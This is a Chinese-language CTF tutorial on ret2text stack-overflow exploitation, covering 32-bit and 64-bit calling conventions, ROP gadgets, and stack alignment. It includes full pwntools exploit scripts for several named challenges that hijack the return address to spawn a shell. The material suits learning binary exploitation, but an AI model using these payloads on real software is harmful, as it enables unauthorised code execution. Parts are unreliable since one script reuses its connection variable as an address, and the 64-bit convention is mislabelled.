ret2text,即通过控制程序执行流执行程序本身已有的代码(.text段),是一种较为广义的描述。在这种攻击方法中,攻击者可以控制程序执行若干不相邻的代码段(即gadgets),这就是我们常说的ROP(Return-Oriented Programming)。
32位程序和64位程序 pwn 中的差别主要体现在调用约定的不同。
调用约定定义了函数调用时参数的传递方式、返回值的传递方式以及调用者和被调用者之间的栈管理。
函数使用什么样的调用约定则由操作系统和编译器决定。
x86
原理
Linux 系统32位程序 gcc 编译器使用 cdecl 调用约定。
cdecl
- 参数传递:
- 参数从右到左压入栈。
- 返回值
- 返回值通常存放在EAX寄存器中。
- 栈清理
- 调用者负责清理栈。
32位程序利用堆栈传参,每调用一个函数都会创建一个函数的栈帧用于存放参数和局部变量。
下面我们通过一个例子进行讲解
下面的是伪代码
void bin(){
system("/bin/sh");
}
int fun(int a){
char buf[36]={0};
int num;
gets(buf);
num=a+buf[0];
return num;
}
int main(){
fun(1);
printf("hello world");
return 0;
}
在下图中黄色的是缓冲区用于存储局部变量和数组。
蓝色的是创建栈帧前的ebp,红色是函数返回地址,绿色是参数。
在fun函数中我们定义了一个36字节的数组和一个四字节的变量。
在下图中我们可以很清楚看到这一点。
缓冲区溢出就是向局部变量写入数据的时候没有限制写入长度产生溢出覆盖ebp和返回地址。
比如通过一个gets函数向buf数组写入48字节就可以覆盖ebp和返回地址。
原返回地址是返回到printf
,但是我们可以将返回地址覆盖为指定地址。比如代码段中存在的system
函数地址。
这样当fun执行完返回的时候就会返回到system
函数执行。
由于32位程序直接使用堆栈传参,所以可以直接利用堆栈构造payload。
32位程序中内存以四字节对齐,所以ebp和返回地址都是4字节,所以溢出8字节就可以覆盖返回地址达到ret2text的目的。
前提是溢出的长度足够构造payload。
payload='a'*(36+4+4)+p32(system地址)
这种情况是代码段直接存在后门函数(system)的情况,我们还会碰到代码段有system
函数但是没有 /bin/sh 字符串的情况。
这就要我们利用堆栈传参的原理来构造 payload 了。
如果这些听不懂,最好去看一下滴水的汇编课程。滴水逆向
x64
原理
Linux 系统64位程序 gcc 使用fastcall调用约定。
fastcall
- 参数传递:
- 前六个整数或指针参数通过寄存器RDI、RSI、RDX、RCX、R8、R9传递。
- 前八个浮点参数通过XMM0到XMM7传递。
- 其他参数通过栈传递,从右到左的顺序。
- 栈对齐: 调用时栈指针(RSP)必须是16字节对齐的。
- 返回值
- 值在RAX寄存器中返回。
- 浮点返回值在XMM0寄存器中返回。
- 调用者清理栈
- 栈上参数由调用者负责清理。
因为 fastcall 使用寄存器优先传参,所以构造 payload 必须通过 gadget 来构造。
这里我们先介绍一下什么是gadget。
gadget 就是程序中一系列可以执行有用操作的指令序列(即gadgets),并将这些指令序列的地址链起来形成一个“ROP链”。每个gadgets通常以一个返回指令(ret
)结束,这样攻击者可以控制程序的执行流,将控制权从一个gadget转移到下一个gadget。
我们一般通过 ROPgadget 工具进行搜索程序中的 gadget
ROPgadget工具使用请阅读这篇文章:
https://blog.csdn.net/weixin_45556441/article/details/114631043
如下图,每一行汇编代码都是示例程序中的gadget。
每一行gadget用于实现特定的功能,后面通过一个ret指令返回。
我们可以通过ret指令将每个gadget串成一个ROP链。
在 ret2text 中对我们最重要的gadget就是影响传参寄存器和ret的。
下面我们通过一个例子进行讲解
很明显可以看到gets没有限制输入长度,存在栈溢出。
并且程序中存在 /bin/sh 字符串和system
函数,我们可以通过构造 payload 将 /bin/sh 的字符串pop进rdi寄存器再执行system
函数来获取shell。而这就需要pop rdi的gadget。
字符串常量在elf文件中存放在只读数据段
在只读数据段获取到/bin/sh的地址,然后在代码段拿到system函数的地址。
void fun(){
system("pwd");
}
int main(){
int buf[12]={0};
gets(buf);
printf("/bin/sh");
}
我们需要根据ROPgadget搜索到程序中pop rdi的gadget。
然后通过system
函数地址和 /bin/sh 字符串地址构造 payload。
payload
paylaod='a'*(12+8)+p64(pop_rdi)+p64(/bin/sh地址)+p64(ret地址)+p64(system地址)
为了栈平衡我们加上一个ret指令地址。
接下来我们介绍一下什么是栈平衡。
栈平衡
栈平衡:栈平衡是指在 pwn 漏洞利用中,为了保证 payload 的字节数是16的倍数,需要对栈进行平衡;而在32位 pwn 漏洞利用中,没有这个机制,仅在64位中存在。
glibc2.27 以后引入 XMM 寄存器,用于记录程序状态。主要出现在 Ubuntu 18:04 及以后的版本,需要考虑栈平衡(栈对齐)
需要栈平衡的主要原因在于:
- 在调用
system()
函数时,会进入 do_system 执行一个 movaps 指令对 XMM 寄存器进行操作,movaps
指令要求 RSP 按16字节对齐,即:RSP中地址的最低四位必须为0,直观地说,就是该地址必须以数字 0 结尾。
如何解决堆栈平衡问题?
- 可以通过在进入
system()
函数之前增加一个ret
指令来解决(常用),或者也可以在system()
函数中不执行第一条push rbp
操作来解决
为什么加的是 ret 指令?
- 由于在
system()
函数之前加入了一个新地址,栈顶被迫下移 8 个字节,使之对齐 16 字节,满足movaps
指令对 XMM 寄存器进行操作的条件;同时,由于插入的地址指向了ret
指令,程序仍然可以顺利地进入system("/bin/sh")
中,不会改变程序执行流程。
接下来讲一下我在做题中碰到的几种ret2text情况和利用技巧吧。
ret2text的几种情况和技巧
数据段的字符串中存在/sh字符
此题目来自于国资社畜师傅
/sh 字符也可以获取 shell
例题
checksec 查保护,发现为 32 位程序,没有栈溢出和地址随机化保护。
ida打开分析
进入dofunc函数查看
分析代码
read函数向buf变量读入 28 个字符,而 buf 宽度为 12 个字符。
判断存在栈溢出。
接下来寻找system
函数。
函数窗口发现sytem
函数,system
函数在plt表。
这里只需要知道调用plt表就是调用函数
接下来寻找 /bin/sh 字符串
没有发现 /bin/sh 字符串
但是在一串字符中发现了/sh字符串。
/sh 字符串也可以获取 shell
因此,我们需要获取到字符串中的 /sh 字符串。
我们可以通过字符串基址加上sh字符串在字符串中的偏移来作为/sh地址。
如 /sh 字符串基址为0x0804c024,“/sh” 在字符串中偏移为22。
则 /sh 地址为 基址+偏移 = 0x0804c03a。
根据思路构造exp。
exp
from pwn import *
io=process("./pwn")
system=0x0804919b
sh=0x0804c03a
#gdb调试发现system没有返回地址
payload=b'a'*(12+8)+p32(system)+p32(sh)
io.sendlineafter("input:",payload)
io.interactive()
程序中没有/sh字符
利用可写函数向可写段写入/bin/sh
例题
[HNCTF 2022 Week1]ezr0p32
checksec查保护,发现为32位程序,没有栈溢出和地址随机化保护。
ida打开分析代码
进入init_func函数查看
setvbuf函数用于设置缓冲区,这里不过多赘述。
接下来进入dofunc函数查看
发现调用system
函数输入一串字符。
puts输入字符,并调用read函数读入内容到buf
这里的buf是bss段变量。
接下来又用puts函数输出一串字符。
并且又调用read函数读入内容到buf,这里的buf是局部变量。
read函数限制读入0x30个字符,而变量长度为28。判断存在栈溢出。
并且前面看到了system
函数,则plt表一定存在system函数。
接下来寻找 /bin/sh 字符串。
发现字符串窗口没有 /bin/sh 字符串。
但是上面的第一个read函数读入内容到bss段,则我们可以将 /bin/sh 字符串读入到bss段。
然后通过第二个read函数进行栈溢出调用 system 函数。
根据思路构造exp。
exp
from pwn import *
sh=remote("node5.anna.nssctf.cn",26047)
#接收到指定字符串停止
sh.recvuntil(b"name")
#然后发送/bin/sh字符串
sh.sendline(b"/bin/sh")
sh=0x0804A080
#这里的1234是system函数的返回地址
payload=b'a'*(28+4)+p32(0x80483d0)+p32(1234)+p32(sh)
#检测到指定字符串就发送payload
sh.sendafter("time~",payload)
sh.interactive()
机器码获取shell
system($0)
也可以获取shell,$0字节码为“\x24\x30”;
即将 “$0” 作为 /bin/sh 字符串使用。
例题
[GFCTF 2021]where_is_shell
常规流程checksc查保护,发现程序为64位,并且没有栈溢出和地址随机化保护。
ida打开分析
分析代码逻辑
输出一串英文字符,中文翻译为:echo 'zltt 失去了他的shell,你能找到吗?
main函数中定义了一个char型数组buff,长度为16;
read函数从标准输入中读取0x38个字节的数据输入到 buf 数组。
计算溢出40个字节。
接下来寻找system
函数
函数窗口中发现system
函数,在plt表中。
也可以通过字符串窗口查找
拿到system函数的地址:0x400430
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
接下来需要寻找/bin/sh
字符串
ida字符串表,ROPgadget搜索。。。。。。都找不到
之后查大佬的wp,发现了这个思路。
$0
也可以作为/bin/sh
字符串使用获取一个shell。
$0
的字节码为/x24/x30
。
ida查找,发现在tips函数中
但是这样查找太麻烦,可以直接通过 objdump 查找
向右偏移1字节,地址为:0x400541
通过栈溢出返回到plt表system
函数,并且将字节码地址弹入rdi寄存器。执行函数获取shell
通过 ROPgadget 搜索 gadget
拿到 pop_rdi_ret 地址。
接下来根据以上信息构造exp。
exp
from pwn import *
pwnfile="./shell"
io=process(pwnfile)
elf=ELF(pwnfile)
#直接输入system函数地址
system=0x400430
#也可以通过EFL文件读取plt获取system函数地址
#system=elf.plt["system"]
sh=0x400541
p_rdi=0x00000000004005e3
ret=0x0000000000400416
#加上一个ret保持栈平衡
payload=b'a'*(16+8)+p64(p_rdi)+p64(sh)+p64(ret)+p64(system)
io.sendline(payload)
io.interactive()
后言
感觉写的有点水,还缺少很多细节。后面看情况补一下。
快十二点了,先睡了。
参考链接:cyberangel
参考链接:PWN中64位程序的堆栈平衡